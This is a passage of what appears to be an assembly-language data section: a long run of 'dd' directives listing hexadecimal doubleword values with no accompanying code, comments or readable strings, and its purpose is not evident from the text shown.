2E01AAEDh, 3331AE16h, 39EEB032h dd 3AF7BD37h, 4ABBB638h, 442C1A14h, 2555DF9Ah, 0B5CF2291h dd 76A6AA32h, 0CEC44EBAh, 0B530283Eh, 0F6A03CF2h, 3B4CECB2h dd 3F3F283Dh, 0C3F73B3h, 0BCEB3AF5h, 32244FF6h, 2020262Dh dd 9D3E06E8h, 5E29232Bh, 950E3760h, 2F3A5741h, 993C98h dd 13BE5B6Fh, 4130DD1Eh, 0F22A4979h, 263FAEC5h, 4974EF3Eh dd 2E3C0367h, 232CD960h, 2E761554h, 3CDA3ACAh, 1B6E3BB7h dd 20FD7BF3h, 773124AEh, 2E244FCBh, 6A2849FFh, 7B2659F0h dd 84D2F8C7h, 0FED30B8h, 314C2045h, 3A256AB0h, 1DBD0EB6h dd 67AB16F5h, 6BAF4B3Eh, 10CDD73Eh, 2C9D31F8h, 24B92332h dd 34853393h, 2576BC2Eh, 2174B222h, 221F09h, 0F9F75A1Ch dd 6F2360h, 50264659h, 2CAB7B3Bh, 30BF7C55h, 1464635Dh dd 0B3656660h, 44391AF7h, 7AD72A3Fh, 0CF123FEFh, 0CB237D20h dd 0F57B4890h, 2BFB0D28h, 0CC7137ECh, 0B20E8730h, 7929F732h dd 3F4A3838h, 82B21D68h, 0B633CC76h, 0E53D20A8h, 383D0067h dd 57092B27h, 0A3E5A729h, 66BC902Fh, 66051033h, 68786D62h dd 63D53C6Ah, 9E1E1BABh, 5420E0E6h, 24244B1Ch, 292A2727h dd 0F7483ED5h, 31BB2E2Ch, 0CA643212h, 1D385F23h, 393CFFB9h dd 8392A0B7h, 0BF968194h, 0DB67EDA8h, 6CE862EAh, 68E46EE6h dd 74E06AE2h, 70FC76FEh, 0F773F9CAh, 0F37FF57Dh, 0D47BF179h dd 0D05AD258h, 67ED3E64h, 63E961EBh, 6FEC6DE7h, 2F2F2D65h dd 4B716E6Fh, 5644734Ch, 735F5438h, 4B3F3518h, 3F54A12h dd 2223DC1Fh, 22E1A722h, 74EF68ACh, 2F2D28E9h, 3BF60120h dd 0BFBE6830h, 0BF3B6437h, 399D48F2h, 0E6F0F36Eh, 27792C1Eh dd 1429224Ah, 2D288642h, 2944D440h, 730AADFh, 10BD5762h dd 0B83C3736h, 0DFB0536Bh, 0F47272BEh, 0B7FD74Fh, 76D1B7ABh dd 0D75DFA0h, 3C06DAAAh, 0CF4B4422h, 3A73E224h, 853DFD9h dd 2416DA17h, 395E1E5Dh, 30E10771h, 2C222E0Eh, 28262A24h dd 242A2628h, 8C2E222Ch, 73ED313Fh, 0EA565DCBh, 0F508FE0Ah dd 0E70CE90Eh, 0FB2FC329h, 812012Dh, 71166D10h, 461A4914h dd 0E41EED18h, 0C502D91Ch, 0D010700h, 550D7803h, 0DF09490Fh dd 0E528E90Bh, 715112Ah, 17110817h, 691D1E13h, 63196C1Fh dd 0B0057A1Bh, 9401BD07h, 61380D7Ah, 48064B00h, 1C21BE04h dd 1A87248Eh, 1E9F1885h, 0E51DE725h, 0C611CF13h, 0AD92E17h dd 0F20093Fh, 0F170D2Ah, 0EF000602h, 1BAF3A2Dh, 1F261F1Ch dd 8117A223h, 128E2511h, 1EE21C97h, 102E171Dh, 9208740Ah dd 75305F7Fh, 4CAC6Bh, 0FB8B4FBh, 0F036919h, 373122BDh dd 22E4AAE3h, 8AA24EE4h, 0E71E137Dh, 602BF0A6h, 2A6F3473h dd 0EA214F66h, 1E3D8C59h, 0C381B0Fh, 6FAD687Dh, 3352C261h dd 19D9DCCEh, 0BDC47B1Eh, 3D50257Eh, 31373262h, 2CC73765h dd 3C3EE3EEh, 9053B465h, 41F9A39h, 0B5602391h, 0A4E3A2A4h dd 28E92969h, 0A04E2F2Dh, 1F330D06h, 4E9C7635h, 0EF3C9178h dd 903F686Ch, 3B6A94EDh, 0AB6CAC24h, 67B9CD20h, 3264A44Ch dd 3F645E2Ch, 0BBE20319h, 0C773B20h, 0C848F2C0h, 5DBE1BADh dd 1E129CF4h, 2D262010h, 26252B23h, 26A42C21h, 220DA1ABh dd 0FA3DBDA6h, 0BF213462h, 0B7F00BB7h, 0B1E66CBFh, 955434CEh dd 5240383Dh, 25762CAAh, 297A7235h, 362C793Dh, 747E2F0Eh dd 677B6466h, 6938177Dh, 6F7B7468h, 143B727Fh, 202F302Ch dd 6A626E2Dh, 66662268h, 457C2FAAh, 30404A43h, 52134146h dd 6F17445Ah, 5B103A38h, 6B4A514Fh, 2C0E3D6Fh, 6243100Eh dd 917682Eh, 1B721B08h, 0BCCD74DAh, 2D62D34Bh, 0BDDE5531h dd 5F3F2D69h, 570D382Fh, 3B64AEEBh, 22C7251Fh, 26AAAE67h dd 0C1BEA222h, 77F87A09h, 363437BBh, 235A313Fh, 359A3838h dd 0C111033Bh, 31239357h, 890C5C49h, 572D4931h, 5482B07h dd 0F22B9B28h, 0E16E060h dd 143130B6h, 3CE232E9h, 38131DC5h, 7D13537Ch, 241D757Eh dd 504A4A76h, 2601825Ch, 232A4672h, 802B91A3h, 40135335h dd 5E525A41h, 6A1BBC28h, 6F5A5705h, 1BE8BF2Ch, 1A132088h dd 31961152h, 892BCB0Bh, 1E2FC911h, 32D022D8h, 7F37D13Bh dd 0D939D108h, 0DC32DC3Dh, 0F635331Ah, 23C0BEECh, 824C090h dd 0C8CAA2CFh, 2FC9A92Ah, 0D0E2D802h, 0D2629632h, 0F9D11436h dd 0DA143DD9h, 0F537533Eh, 0DA21FDADh, 0F25C029h, 0AD27FCA3h dd 0C5807EAAh, 207CEF16h, 63719231h, 0B126078Fh, 0AC18BFB3h dd 3897B62Ch, 0A14455BCh, 3C75B241h, 37B53EC4h, 734B83Dh dd 0F314EBEDh, 24FFB53Eh, 0ED3646E7h, 3F6BFD68h, 0D4FF6F39h dd 4D772C38h, 36DD0D03h, 0A5DF16EEh, 0A62A3569h, 51E81590h dd 31B919ABh, 0D038D4F3h, 0B0FD323Ch, 31DE6CC6h, 0DCE52FE2h dd 4741081Ch, 87022CD9h, 0C54C48CDh, 4CCEED3Eh, 0CA531024h dd 24F6EBB8h, 32BC2A77h, 7FE9D30Bh, 0FFDD0B2Dh, 0FB2B1B0Eh dd 24400802h, 8D0CAB66h, 4C7F282Ah, 2005320h, 4405DBCDh dd 28042C3Eh, 0FD613DD2h, 0BC194F35h, 0D0941D1Dh, 2A26F680h dd 3B2E59CDh, 20DA2715h, 0D824BE24h, 343B6D50h, 32432437h dd 0BD336A32h, 0EBB41EEDh, 2C0A1FF7h, 0CB722908h, 17246616h dd 0A02C178h, 7F122F6Fh, 31712FD8h, 0DF72657Ch, 5330D82Ch dd 61DE06E0h, 3A499C96h, 6FC9727Bh, 435E512h, 0BE3AC813h dd 3EE92F2Bh, 1DE1D824h, 76CACB00h, 26591C35h, 34B53E5Fh dd 1F7D00D7h, 0C1C81E8Dh, 24B64004h, 2D282607h, 0CE25587Ch dd 0A0317336h, 34CCB003h, 0B26F2F42h, 1CF8066Eh, 6B3B4F5Dh dd 0DE5E2FCAh, 51340210h, 2AF379D5h, 741E320Bh, 13224FD2h dd 0D03F373Ah, 8D3AF239h, 5F349937h, 1F3F022Eh, 7A6C7C6Bh dd 56677D20h, 7484043h, 5853297Bh, 5C434858h, 5B32656Ch dd 5B711551h, 3B535D59h, 4D51495Dh, 45161C68h, 23292B1Ch dd 404A5701h, 224C4315h, 28282C52h, 4652710Eh, 5F43345Ah dd 54565144h, 513D6F67h, 464244F9h, 202013DCh, 2526B328h dd 7F283BEAh, 2DA1DAA1h, 0BC200B6Ah, 6538177Eh, 0F8DFDF36h dd 0FDB8C4C4h, 4B237F4Ah, 2C3B6296h, 64330621h, 0D6985ECDh dd 3E2A7AD6h, 0BB7E2E7Ah, 0F24FDAFFh, 3A72C9CBh, 2C3A3F15h dd 1B143E02h, 0B776E276h, 23226298h, 27874125h, 2B4E792Ch dd 2B2E08A5h, 0C2B96761h, 1342BC34h, 9ABAD13Ch, 57C12DC1h dd 487D534Bh, 23306E92h, 26317DA3h, 62FEF23h, 2BAD3DCAh dd 32A68AC7h, 3E11786Dh, 64FFB337h, 0FABE3F1Bh, 8717F21Fh dd 2329FB53h, 0C925926Dh, 0A0E4AC3Eh, 508CB4Eh, 308DC77Eh dd 7536407Bh, 0D12A3F2Ch, 793DD315h, 0EF86D76Eh, 2B4A1EFDh dd 221306B5h, 2AE72D57h, 3F333659h, 2CAFE2C5h, 34832183h dd 0D0222E36h, 3F4A162Ch, 7D39ACA9h, 11AC4DFDh, 438EC972h dd 0E7186509h, 9C9B2828h, 7F3E4720h, 6127CE66h, 0B4345500h dd 0DA3F09C0h, 3913F96Ch, 1E1DCC97h, 4A694A58h, 960819CBh dd 0A5797E17h, 9EEB2D9Ah, 71A10D2Eh, 19E53580h, 0B16062CBh dd 0CFC1867Eh, 24E71706h, 0E8501B11h, 614C722Ah, 0AC686BABh dd 8C7D7B7Ch, 313B5F44h, 2543D307h, 184CB594h, 8A5D6FB1h dd 2F1F1B3Eh, 201EA6D4h, 0E6A62222h, 0F9662751h, 0DB2B5FC9h dd 200B7AA6h, 346DF4BAh, 2D5734B4h, 0BEFB31B8h, 7AF2636h dd 2DFE9091h, 0A32B61D7h, 6517244Fh, 2A90DA21h, 936B1C27h dd 0B633D1B3h, 0B33935F4h, 0B0393930h, 0D66A3971h, 0DD091C0Bh dd 2326021Eh, 0E26D693Ah, 6168D7CEh, 20EC3C03h, 3CFA9398h dd 3535248Eh, 0BE3214DCh, 7A8DFE99h, 0E224473Fh, 0E6E0176Bh dd 20CF2622h, 0E12FA79Dh, 1C6C6A83h, 0BA6E7029h, 0B015F3F1h dd 4C58F7F7h, 0F8B76436h, 8F9A1A3Fh, 1F385C9Ah, 72230440h dd 6A4D224Fh, 8BEA09F7h, 45EFBFACh, 0BF173431h, 0B3A2420h dd 0B15758F9h, 90155643h, 5F3ACDD3h, 21222370h, 25264E4Ch dd 1A463F18h, 36FE2A3Ah, 0C3762C01h, 3436B55Ch, 1DEA246Ch dd 344E66ADh, 0D8DD991Bh, 22E1049Bh, 4E9DA027h, 2F5C22C6h dd 254F7493h, 3BDE3F49h, 33CA3CADh, 6BF53838h, 5E7D546Dh dd 2E1D19F4h, 806B2CE8h, 22C6BB68h, 5D1807AFh, 33064B08h dd 352E2F4Fh, 549EDB62h, 0B264F71Dh, 3A1DCBA0h, 0D63EF7Fh dd 92C16B1Fh, 68002122h, 0F0D03E85h, 0CCA8EA32h, 91402EAFh dd 85B6F731h, 4E393535h, 894D3A1Eh, 1B3544B4h, 89D4E22h dd 23545BABh, 0FCA23509h, 0BAF585Dh, 866E0960h, 19D5AAB3h dd 0B73D6931h, 2BB3725h, 372BC27Ch, 1D1C1EC0h, 0A9351C66h dd 113AA6FBh, 0F1AC37A7h, 2C2DD32Bh, 0B95575A6h, 0B5613470h dd 7FB03DCFh, 393D4153h, 18745EF8h, 21AB1C1Eh, 0A59D7371h dd 0E91B2426h, 0EE28942Ah, 64B92E2Ch, 46B9335Eh, 0B293C427h dd 0BD356B79h, 1D4A6F23h, 0C8396525h, 0D98F22BBh, 0E6AC76DAh dd 310BD3A2h, 2E7F0D21h, 0DC132D90h, 0F06F3767h, 0D260BED1h dd 4DCF3E5Dh, 3BDEC7F4h, 0A82777Ah, 876B3452h, 0EEBE300h dd 0A6784D3Fh, 2356D920h, 8F37A435h, 0EB3B282Bh, 1E6AD53Fh dd 974B1719h, 6EC92817h, 0E2A627E3h, 0A9A5A52Dh, 46257E29h dd 34B10D73h, 0DE5C7BBEh, 0C6F3A637h, 0ADB2B6C4h, 4D1F3B3Fh dd 71B49894h, 0CD4C7222h, 0F9C9BBE3h, 3CECD137h, 357130DEh dd 350C26B6h, 0B82EBC27h, 793689C0h, 1C7B8ABBh, 0D0709EBDh dd 64239B22h, 26D82555h, 0DF78C2E7h, 4521D129h, 34363CC0h dd 3D361B32h, 32CE34C6h, 18CF556Dh, 0EADA13E7h, 3C83C22Eh dd 0B9CE2BDBh, 0D42F3917h, 0DD20D222h, 0C985873Eh, 0CA30473Ah dd 0CA87AB36h, 0D44DBD32h, 7EFEA015h, 0EC2FCF1Ch, 0E57B2593h dd 4E9C3126h, 44292C8Ah, 893158D0h, 373577B7h, 3AB05C67h dd 0BF393C1Eh, 1D1D47D3h, 74731D1Eh, 190A874h, 2028265Eh dd 0A0D5A07Dh, 0B1BD5140h, 35381ABDh, 0B806DF34h, 0F0B71B66h dd 9DDD7FD6h, 2D6B47h, 74736DACh, 0A974CEC9h, 6B4D6E2Ah dd 56692CEDh, 0A5A53331h, 5E6351B5h, 0B1ABFB10h, 2D22FF25h dd 9E499C32h, 0CA20E46h, 6FF243B2h, 384CA639h, 2A6EBDC4h dd 0A073D960h, 51A54234h, 5DBD7D2Dh, 59B53EA8h, 934C8CAFh dd 0F17F7D40h, 29328B71h, 25292727h, 2E28872Bh, 0F239368Fh dd 1D53025h, 421DE881h, 6D9AD46Bh, 8206DE74h, 743A8F04h dd 393AC2E3h, 9C07471h, 35FC103Ah, 2B9133ACh, 6A3245F7h dd 9922466Bh, 3DC3C407h, 4A1BFA3Ch, 0AD58151Eh, 14CB1D6Eh dd 0A42C2764h, 2F2BA20Dh, 330D256Dh, 3F78396Eh, 5234369Eh dd 1CAFD261h, 0F613814h, 1A3E431Eh, 0D56C7F22h, 79275DE4h dd 13A34829h, 6E3E6AACh, 631A2ED0h, 5732F4B7h, 3F4A1D3Ch dd 0FFDEE0D4h, 95DE4542h, 2DEC87Ah, 33DAAC56h, 0D5372813h dd 2C6DF60Eh, 37330C2Ah, 34052530h, 0B2F83932h, 3F4D19C4h dd 1E1E1BF8h, 2334D81Fh, 0E22323h, 0CD76524h, 212C7A0Ah dd 0B1F3EF1Dh, 21362B36h, 3BBA6222h, 313EB92Ah, 161A593Eh dd 3E151CDDh, 24082839h, 1E2D2244h, 2D05202Dh, 9DD8362Ah dd 86E4B393h, 603337B4h, 2CFD3E3Bh, 0F293EE39h, 17D9CF2h dd 4322C3C6h, 27C47404h, 0CFFCC0ECh, 2DCAE32Eh, 33D096F6h dd 37D61554h, 3138B180h, 0FC47383Eh, 0AE42B50Eh, 0DE2AEF84h dd 75143562h, 0C2797F57h, 4E290CF8h, 0B1113126h, 0BD37CF33h dd 0B9344CCFh, 4A3C54C0h dd 0CD070A37h, 268113FEh, 59632BD4h, 0A2CD8727h, 6DDA18E9h dd 79385B66h, 4213B47h, 49FF31DEh, 0B63E2E59h, 8181F2Fh dd 3477A64Fh, 4425821Ah, 68246688h, 8DA42808h, 0F08F6E24h dd 0CB329330h, 39178E20h, 0EDD36A29h, 3F22FB2Eh, 9E2F51F4h dd 8B37DE31h, 23671364h, 0A803B5A0h, 4CEA3833h, 129B1536h dd 0C9363AF1h, 33C83937h, 987EFC85h, 951F9545h, 63ABA1DEh dd 0A0AC3A12h, 0A0FFEF0h, 0E74E0E2Eh, 0B931265Bh, 42F5B132h dd 40B06827h, 3A1BD90Ah, 78FF1C9Eh, 27807407h, 25AF9737h dd 0C82720A7h, 2A256B24h, 0B8402EEEh, 0B7F40033h, 50595A31h dd 4F285A54h, 131C4F59h, 49710F8Dh, 26B34355h, 0AB262648h dd 264B2BC8h, 0D05C0C58h, 5C475331h, 3A3739C5h, 3FCAA73Bh dd 684A5459h, 799E4268h, 23544844h, 25774F26h, 74755928h dd 4243424Fh, 83569B5Fh, 0CBB68D34h, 0D33839C7h, 232F3D2Ah dd 764A4A0Bh, 0DD35516Fh, 0FE27B836h, 0AFD98E37h, 0A56058DDh dd 82910D0Bh, 47695C33h, 32C66E36h, 0BC7554ECh, 0DFE4B83Fh dd 0F121351Ch, 25F71B22h, 0A228F5DAh, 2C7D2227h, 3170DB8Dh dd 17A63E28h, 0C96C2687h, 0C63D3AC0h, 0AEED612Fh, 4ECD0F3Ah dd 8BCF2270h, 0AAA52D54h, 668A875h, 0E8118C00h, 45B09563h dd 91430819h, 0A5D23B58h, 0AA61F7DFh, 68F321Ch, 2C40EBB2h dd 27779F31h, 2B7BA4B8h, 0E4DF6BEh, 0EC0925F4h, 46F52947h dd 6BFB2378h, 7FC6D56Ah, 5E1FDF7Ch, 0E7A204EFh, 54FA1F63h dd 0EA1ACCA7h, 0C31E2EC0h, 2A311EAFh, 0DF36C918h, 0FA6DB560h dd 6C68240Bh, 19BC7AD7h, 70FF08EEh, 2A6D0C52h, 0AA282826h dd 31DC2399h, 0B1C9F15Eh, 0B8CBFC23h, 351C7B36h, 791847B3h dd 0EA786FD6h, 0A9DE1E3h, 0FF09A37Fh, 3C0DA724h, 29412943h dd 0B0222047h, 30B13D31h, 1C6306B4h, 351B5001h, 0E6FAD66Fh dd 4C2A2D9Dh, 2212A225h, 0DCC79CA4h, 0F37AD6D6h, 0EF6A472Ch dd 57166DB8h, 136D2DCh, 2F2A2138h, 3F62A1D4h, 0F6D29753h dd 2C20B49Dh, 0CE3B6BAEh, 223929ACh, 2F145443h, 0DA587EB5h dd 0F235355Fh, 3AADB6BDh, 3EABB638h, 4D1F1BACh, 0E4484D4Fh dd 25C5BF62h, 29E0CF27h, 0D62C0FAAh, 0C232C6EFh, 34FEB899h dd 3AD958E6h, 97CFD6BFh, 762EBF40h, 0C81E741Eh, 251082C5h dd 5C6F48E5h, 255F623Bh, 2B5A2E65h, 5559485Bh, 52373CDEh dd 0D77A5063h, 0B065439h, 0DCF62D76h, 27AA2323h, 1C60C53Ah dd 4A292920h, 2F3E2DCDh, 0D2935E33h, 34362434h, 0BE3ADD45h dd 0B2943DD8h, 0FA881CFFh, 22C5BD1Fh, 8C25C086h, 9F29CC8Ah dd 0CA902CCFh, 32D5F52Fh, 36D1F999h, 0E739DCE2h, 0DAD83CDFh dd 0F9F1313Fh, 21C4EA1Eh, 2024C7DFh, 0A24E7D5h, 37C47B20h dd 31278FF9h, 5531A3AFh, 2D2D3F23h, 153CC832h, 0EF1FD733h dd 44B2E1Dh, 94066ED5h, 3A69A21h, 593BA7A4h, 0E1248EC5h dd 963CD235h, 0F8B23455h, 0B4AD3C4Ch, 6FDF144Fh, 0AFBD0D64h dd 23573321h, 3B33253Eh, 6AA76E6Eh, 0DF153DD3h, 0B2B2844Ch dd 0F7686A28h, 67B23888h, 783AC216h, 87B075BEh, 60A31B6Eh dd 0A4715595h, 5BAB6656h, 0DFC5647Bh, 0D05B243h, 31D00CF5h dd 2FE3C34h, 0BE2E0BFAh, 15E33543h, 0A0266A13h, 31A49B0Eh dd 5A96270h, 2630EB22h, 3AF274C6h, 3EF4621Eh, 79F7BC12h dd 2C7CE73Fh, 68F33732h, 0ABB69E24h, 754FCAECh, 0C0EC27E7h dd 0A72AEA4Dh, 0B47FBAEDh, 367068D9h, 68DF6611h, 46B387Ah dd 5D79D66Dh, 1D5D211Bh, 19DD1BD4h, 1C2A1E22h, 37113E28h dd 1C150B17h, 877310Bh, 0C790E7Eh, 0AF3A0264h, 0F7058507h dd 1E26F420h, 19D51BF1h, 27251FD9h, 162F1427h, 12091027h dd 60D3001h, 76090E0Fh, 6397E0Bh, 26F0077h, 0D422767h dd 0EAABCFE9h, 2107E601h, 91992CE9h, 0A0ED2836h, 49322FA2h dd 0BEE35996h, 0F838BCE1h, 0FC25D3FBh, 1C1038DFh, 0ABD81DDCh dd 0D3F301E9h, 0E304F705h, 2F0BE022h, 0FA2F2D0Dh, 621AA6BCh dd 38DFF182h, 0D5FAF0B2h, 17DDFF29h, 0FB971DF8h, 0C7A38B20h dd 27C25C24h, 422ACD59h, 4E842DC8h, 0D76B31D4h, 37D26434h dd 913ADD71h, 63ED97Dh, 0FA2C1CFFh, 22C5091Fh, 26C10569h dd 9229C83Eh, 0FF196EC3h, 522EE531h, 362A342Ch, 93D0A6F2h dd 0A0590DB6h, 0F514051Dh, 23915696h, 3069AE3Ah, 58F9CFAAh dd 412D9B25h, 3BD136C6h, 3FB4A67Ch, 32783DD6h, 37B86B68h dd 169BF47Bh, 600F730Dh, 74721E23h, 273FE72Ch, 272B9569h dd 2C7F2E1Dh, 37330E61h, 6C375634h, 80B23E39h, 4BFC651Fh dd 161D7BF4h, 21231131h, 9487E6AFh, 2E715DDEh, 3F6A387Ch dd 47FBB410h, 0EC16B009h, 0B3B1004Ch, 0F6BB2DFCh, 3A51951Bh dd 1B37540Fh, 522D6452h, 2660A32Ah, 0AA582CD8h, 3051DBDFh dd 66632146h, 6A016426h, 0C1E3E2D3h, 0F1745BC0h, 20205B2Bh dd 15602202h, 510CA3E1h, 290C282Ah, 0D27A2DC6h, 0B11432B2h dd 0BAFE2337h, 0D574393Bh, 1D7BDA2Ch, 217C719Dh, 0FACB420Dh dd 98D8D9C7h, 2F23AB28h, 0BDD91D3Dh, 1B3BB24Dh, 4C33DBB0h dd 3853C553h, 953F8635h, 1B1EBC78h, 0AA462970h, 0CBA12501h dd 2BA17A34h, 96EE1EF5h, 33D0A8EFh, 73BF3434h, 2B93D1Ch dd 4B3F3D3Ch, 66DC9F17h, 0DB29A15Fh, 3225871Ch, 0D2AAC75Bh dd 372C3F29h, 3394BF20h, 0BB353633h, 2D1B3015h, 955C387Eh dd 5F727A57h, 5309BF79h, 0A4474A54h, 40C04197h, 2E0C194Dh dd 359E8B10h, 7A8C9631h, 0B5D1C36h, 37FC39D8h, 129A3E93h dd 6D5C1E4Eh, 43424C40h, 81A5440h, 47EE852Bh, 4F2F2AA9h dd 405DAE50h, 7716727Bh, 3C78531Ch, 1D3F363Ch, 421CFD47h dd 2264011Ah, 43062EE4h, 45594C47h, 3FCEEC0Bh, 47415848h dd 363E111Ah, 3811C037h, 3C3D383Ch, 7CDD2D3Bh, 21462ECDh dd 484C4653h, 0AF2A4E43h, 4D2E8A26h, 325442A3h, 3911D6BAh dd 3A382CB2h, 0D4D53E63h, 1ACC015Fh, 7F704E13h, 14E0A226h dd 7C7BE425h, 7B347B7Dh, 479014C6h, 0CDBF1112h, 3CD06B65h dd 1DEC30FAh, 2CA66B8Ch, 0A53B1117h, 6267028Eh, 8C237715h dd 15282A29h, 0BD202243h, 0A7FBAA7h, 5CA15661h, 0AA1B5607h dd 9F0142B5h, 218A88FCh, 0ABB781BCh, 47921B88h, 0E714EDBDh dd 0F3A6B80Ch, 0A7D2D50Eh, 97CA0BC0h, 436B1ACh, 1BAA5D28h dd 8A3D3024h, 661E1C97h, 1971B7C3h, 0A2BA887Bh, 4E591347h dd 132710A6h, 5C231428h, 6D396833h, 0C6BEEFC4h, 0DD1A6F3Bh dd 0E1124141h, 63A4E079h, 7F2C3987h, 1E2EEB7Bh, 3EF614FCh dd 6AF6A7B2h, 62FABD68h, 0E2392B99h, 3E9B3B17h, 8C944B4Eh dd 243BA005h, 5DAA7024h, 0B4B7C68h, 6E01E94Ch, 36DB335Bh dd 0BB92E594h, 6C6806FEh, 1ABF7698h, 100EB2DBh, 75378520h dd 2B86F2CCh, 7DE2265Ch, 2FEBE7C4h, 453DC245h, 16313538h dd 713BC6ACh, 6D6F6C7Eh, 16155190h, 60817594h, 972AD433h dd 6FA03927h, 7E69EAA8h, 3024CF79h, 7D1B35CFh, 36FDBB3Fh dd 20D5386Ah, 9443733Fh, 0A17E1775h, 7EE4107Fh, 290CE3A7h dd 16EF2B5Ah, 0BC195AEBh, 8C34774Ch, 873B373Eh, 3D786EDAh dd 0B9E83E3Eh, 284C95B9h, 0D5CB7051h, 287F29B6h, 5D3C09B3h dd 5E7A2D25h, 5D6538D1h, 77734150h, 5457795Fh, 1934733Fh dd 95774648h, 3522240h, 9035051Ah, 2B4BB72Bh, 5F5B595Eh dd 5C545F79h, 7C547535h, 7E746B7Dh, 0D1E0E70h, 72717835h dd 55231B7Fh, 6555787h dd 10265A64h, 26CD7A22h, 0B51BD9F8h, 116535B3h, 0FABD0586h dd 39FF244Eh, 0DC3C0BCCh, 91959636h, 140CC122h, 396DB178h dd 52CCC327h, 157C704Eh, 34306252h, 3AF7DF3Ah, 3C38733Bh dd 0A2F32B3Ch, 242F1F1Eh, 89CB2320h, 0E0AC227Ch, 2FF272A2h dd 232C6BFDh, 37250332h, 9BE0625h, 3B090FB2h, 6AB63CEDh dd 2A95190Ch, 0AA22E019h, 0AC622D55h, 0A2236B1Dh, 2B9F215Dh dd 2AFA13BBh, 350AB830h, 382619E8h, 3187C014h, 6F5C288Bh dd 0DA84D31Dh, 8577CC09h, 0BAEC2C52h, 16BD4813h, 3270D810h dd 5737D432h, 68591817h, 4EED2BD3h, 51E1E7Ah, 82EF21F6h dd 2424F2A6h, 0FA7D17CEh, 0AB58672Ah, 5530CC0Ch, 0F225B544h dd 0BF493636h, 0FF28284Fh, 0F34C675Eh, 2010290Ch, 0BC07AE23h dd 6E524E5h, 0ADD7049Bh, 0BC2FDFE9h, 3B185D16h, 37373935h dd 3C343939h, 0ACEF3E37h, 1F2BD11Eh, 23E5E0ABh, 0C7262D25h dd 0EC2B296Bh, 1F2F3DACh, 0A3F13730h, 6D3B353Dh, 0CA3AB26Eh dd 0C09658D4h, 1E59EAE4h, 63AA5302h, 27229A24h, 28906225h dd 388F8814h, 3290AFF0h, 0B47B12B9h, 0FA5A1A15h, 0F5395DE7h dd 1DBDD284h, 23017558h, 564680D3h, 9E7C5DE7h, 1F2CABACh dd 33DD0C2Ch, 29A65B1Bh, 2E3B3657h, 6A823B9Bh, 85BF3CBEh dd 0D8943B9Dh, 25232A49h, 6CA2E713h, 3C41660Dh, 2CAAE82Ch dd 64323511h, 0B1F936BEh, 3CB71EA5h, 0B42BB73Eh, 85169D85h dd 0E4EA2421h, 20073EA0h, 8B947209h, 27BEAD1Bh, 32B433EBh dd 1AD63E54h, 7DB070h, 0FF7F3B3Ch, 2394890h, 6652094h dd 269AF37h, 2A287A35h, 0D1083827h, 0B33330D0h, 3334D5B9h dd 2A213867h, 343CDEBAh, 21C4A55h, 3B3F1E04h, 3E203C2Bh dd 8140A774h, 2C2C6F17h, 13662F46h, 0CA1EB25Ah, 6B8EF23h dd 15BCFFB9h, 0AE1B5506h, 0A8E0214h, 0AFB182B0h, 218474EAh dd 29CB282Bh, 8D0E3BAFh, 5C571675h, 0B2417631h, 1629DA69h dd 0C38B38CEh, 2B1DDC1Eh, 22027044h, 131CB52Eh, 0A1AE263Ah dd 9A61C15h, 1766A321h, 0F3328520h, 3E4AC1D0h, 473D2C4Ch dd 0A9E1F0Fh, 2135AE1Ch, 2530BD75h, 3FD12997h, 2F65EC28h dd 0A72A2607h, 6E347C10h, 3B393972h, 4BF59783h, 553C1A6Ah dd 2065A71Fh, 0EF256B62h, 492962CEh, 31342A62h, 307803FBh dd 34717B68h, 79397296h, 113C0824h, 52287D0Dh, 202C492Eh dd 175B1140h, 1BB6155Bh, 92188729h, 0D51CE01Eh, 7D93202h dd 0BC905C4h, 0B9330E3Ch, 10CFB409h, 2BED29F1h, 0B0170E00h dd 2C54FF11h, 42A1F01h, 6F18161Ah, 33047906h, 163037Ah dd 93723172h, 8A763C89h, 1E0D3818h, 8205207Bh, 738D0023h dd 0E210CCFh, 0A1092DEFh, 8B69202Fh, 0A235B89Dh, 3A811B37h dd 0D6856E18h, 2A1E9CA4h, 3220661Fh, 0B537237Ah, 0AF06CF77h dd 0B1A45B2Ch, 0D9743C2Ch, 79263229h, 0D13C3EF5h, 0FB630B50h dd 32654A37h, 28D017DEh, 2CEC2AEEh, 20EA2EEAh, 3C0FAEBDh dd 0D87D26EFh, 3CF207AAh, 30F48ABFh, 3933F909h, 47EFE2D5h dd 0F816DB25h, 826A330Dh, 4F1A344Ch, 2A2A1117h, 0C102E23h dd 0DB3E71B4h, 38365C0Fh, 8A3A0299h, 3305E207h, 1E213527h dd 1E481C56h, 1AF418AFh, 0DB148DA7h, 17133B16h, 0ED3BBC4Fh dd 0D6D52D53h, 3A3BCC39h, 3A0D3C38h, 112C130Fh, 11200F2Eh dd 153C1336h, 29001706h, 191C071Ah, 0D00171Eh, 2D3929A3h dd 17AAB767h, 0BC4C3A32h, 0E42EBE5Ah, 30948E9Dh, 2C58A228h dd 82052777h, 0B0D4D7D6h, 11A77773h, 29B3123Ch, 6036B7DDh dd 0B2E53EFAh, 0F36F3F75h, 1F901D58h, 2CB01645h, 0A6A72AE4h dd 8C65E88Bh, 42E83ADh, 30CE06D8h, 0B435C50Ah, 183161FEh dd 0DF35CD38h, 0D096164Fh, 984BC84Dh, 120161D0h, 28893B37h dd 0ED234A7h, 82CECDD2h, 0B2B0C432h, 653AC037h, 0FEB88965h dd 0A276B13Fh, 0DE20107Ch, 252B232Dh, 29272729h, 2D232B25h dd 3071B42Dh, 1B353373h, 492D3672h, 3C7D9D3Ah, 2D1BFE8Fh dd 9CB51D1Dh, 65E422E0h, 2936F425h, 710AEA1Dh, 0A01A2E5Ch dd 4533C65Ah, 0B30735h, 0D9C79009h, 22E8A80Fh, 0AF1F587Ch dd 23B72065h, 2663B53Bh, 2E2B69F8h, 0AC652D38h, 95B339F4h dd 7B3EB701h, 0BF3231B9h, 68D51E34h, 0F6112C71h, 3EA1E452h dd 0D6AE5663h, 5FD6AD27h, 78D3A729h, 72C122C7h, 0F60DBD2Eh dd 0FEBA2C33h, 3B3838E9h, 579DAF6Bh, 0A125DF1Ah, 67E184ACh dd 8E8332Bh, 79A7D4D5h, 0BA30330Ah, 65663B74h, 3B50DF65h dd 7B043B49h, 10DFBC36h, 0A9DA1E1Eh, 7A7C2A67h, 0EA277D78h dd 0A92A2A25h, 301958D2h, 6431D5F0h, 0B3F01D65h, 0D46BF4D9h dd 513D5B9Ch, 7B1E071Ch, 23575424h, 0F02693Ch, 240D3927h dd 5EE1023Ch, 333D313Fh, 8C763E87h, 0B9D6BA33h, 2B558F0Ch dd 11770971h, 3E8B4B6Bh, 0B4B74F50h, 415A08A8h, 6C312C6Bh dd 7C614181h, 42646401h, 